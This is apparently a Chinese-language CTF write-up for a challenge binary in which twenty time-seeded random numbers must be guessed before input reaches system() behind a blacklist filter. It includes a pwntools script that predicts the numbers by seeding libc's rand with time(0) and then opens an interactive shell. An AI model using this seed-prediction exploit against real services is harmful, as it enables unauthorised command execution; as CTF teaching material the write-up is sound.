随机数

大欢出的一道屎题、不过也算很有意思了。

核心思想就是进入一个func函数中,连续猜对20次数字便可以进入到一个叫做flag()的函数里

flag函数就是一个获取buf,然后把你输入的buf放入system里面来运行的玩意。而且没有可供栈溢出的空间。

在把buf传给system之前会有一个filter函数,这个里面会用str来对比字符串,如果我输入的东西里面有什么值被程序制作着定义为“不可以输入的”那么就会直接退出程序:

简直就是把可以禁用的全禁用了。

猜数字其实才是要记录的核心,就是用LibcSearcher库里面的cdll.LoadLibrary函数。因为我们的srand使用的time函数,是在题目所诞生的环境里诞生的。按照道理同一个环境的电脑同一时刻用time(0)作为种子生成出来的随机数一定是一样的。所以我们用附件里面的libc来生成随机数即可。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
from ctypes import *
from LibcSearcher import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')

file_addr = './dahuan_GuessNumber'
p = process(file_addr)

libc = cdll.LoadLibrary('libc.so.6')
libc.srand(libc.time(0))
p.sendafter(b"go! go! go!",str(libc.rand()%100)+'\n')
for i in range(20):
p.sendafter(b"good!!!",str(libc.rand()%100)+'\n')

p.interactive()

至于怎么找到flag嘛…

./flag即可

别问,最狗屎的答案,是大欢和我的两个蠢人灵机一动搞出来的

嘻嘻